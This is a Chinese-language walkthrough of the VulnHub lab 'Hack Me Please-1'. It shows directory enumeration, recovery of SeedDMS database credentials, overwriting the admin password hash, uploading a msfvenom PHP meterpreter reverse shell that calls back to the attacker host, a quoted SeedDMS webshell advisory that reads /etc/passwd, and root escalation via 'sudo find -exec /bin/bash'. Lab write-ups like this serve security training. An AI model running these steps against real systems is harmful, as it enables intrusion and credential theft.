『vulnhub系列』Hack Me Please-1
下載地址:
https://www.vulnhub.com/entry/hack-me-please-1,731/
資訊蒐集:
使用nmap進行探測存活主機,發現主機開啟了80埠和3306埠
nmap 192.168.0.*
訪問80埠的web服務
使用dirsearch掃描目錄,但是並沒有可以訪問的頁面
dirsearch -u "http://192.168.0.132/"
在main.js發現提示,有一個目錄/seeddms51x/seeddms-5.1.22/
訪問一下是一個登入頁面
現在我們掃描這個目錄
dirsearch -u "http://192.168.0.132/seeddms51x/seeddms-5.1.22/"
訪問/install
頁面
發現install不了
http://192.168.0.132/seeddms51x/seeddms-5.1.22/install/install.php
說是要在conf
目錄下建立ENABLE_INSTALL_TOOL
,但是我們好像並不知道這個conf
目錄在哪裡
可以確定當前seeddms51x/seeddms-5.1.22/
目錄下沒有。現在我們向前每一級檔案都爆破一下。
dirsearch -u "http://192.168.0.132/seeddms51x/"
我們現在幾乎可以確定conf
就在/seeddms51x/
這個目錄檔案下了
然後我們繼續訪問conf/ENABLE_INSTALL_TOOL
和conf
,發現都無法訪問
繼續爆破一下吧,終於發現了settings.xml
dirsearch -u "http://192.168.0.132/seeddms51x/conf"
訪問一下,我們找到了資料庫的使用者名稱和密碼都為:seeddms
我們登入mysql
mysql -h 192.168.0.132 -u seeddms -p
show database; #檢視資料庫
發現users表
use seeddms; #使用seeddms資料庫
show tables; #檢視錶
檢視users表的內容發現使用者名稱和密碼
+-------------+---------------------+--------------------+-----------------+ | Employee_id | Employee_first_name | Employee_last_name | Employee_passwd | +-------------+---------------------+--------------------+-----------------+ | 1 | saket | saurav | Saket@#$1337 | +-------------+---------------------+--------------------+-----------------+
select * from users; #檢視users所有內容
使用ID和密碼登入
登入失敗,還有個表是tblUsers,我們檢視一下,裡面有一個admin和一個md5加密的密碼
select * from tblUsers;
我們可以覆蓋一下,首先使用python生成一個md5值21232f297a57a5a743894a0e4a801fc3
python3 -c 'import hashlib;print(hashlib.md5("admin".encode()).hexdigest())'
修改資料庫條目,修改成功
update tblUsers set pwd='21232f297a57a5a743894a0e4a801fc3' where login='admin';
使用我們修改後的密碼admin和使用者名稱admin登入,登陸成功
漏洞利用:
我們發現新增檔案選項是可以上傳檔案的,我們上傳一個msfvenom生成的反彈shell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.129 lport=4444 -o re_shell.php
我們此時搜一下seeddms的漏洞
看到一個遠端命令執行,看一下如何實現
Step 1: Login to the application and under any folder add a document.
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
......
Step 3: Now after uploading the file check the document id corresponding to the document.
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
步驟1,2:就是登入,然後上傳一個文件,我們已經上傳完成了例子用的是一個webshell,我們上傳的是反彈shell,我們需要找到上傳檔案的位置
步驟3:檢視文件的id,我們透過剛剛上傳的反彈php序號為12
步驟4:訪問/data/1048576/"document_id"/1.php
頁面,在那之前先開啟msf的監聽,然後訪問1.php
反彈成功
提升許可權:
我們檢視/home
頁面發現存在使用者saket
我們之前有在資料庫中發現過saket
,他的密碼是Saket@#$1337
我們登陸試試,登入成功
su saket
使用sudo -l
檢視此使用者可以以root
許可權執行的命令,發現是(ALL : ALL) ALL
那就自由發揮吧,這裡使用find
提權,成功
sudo find /home -exec /bin/bash \;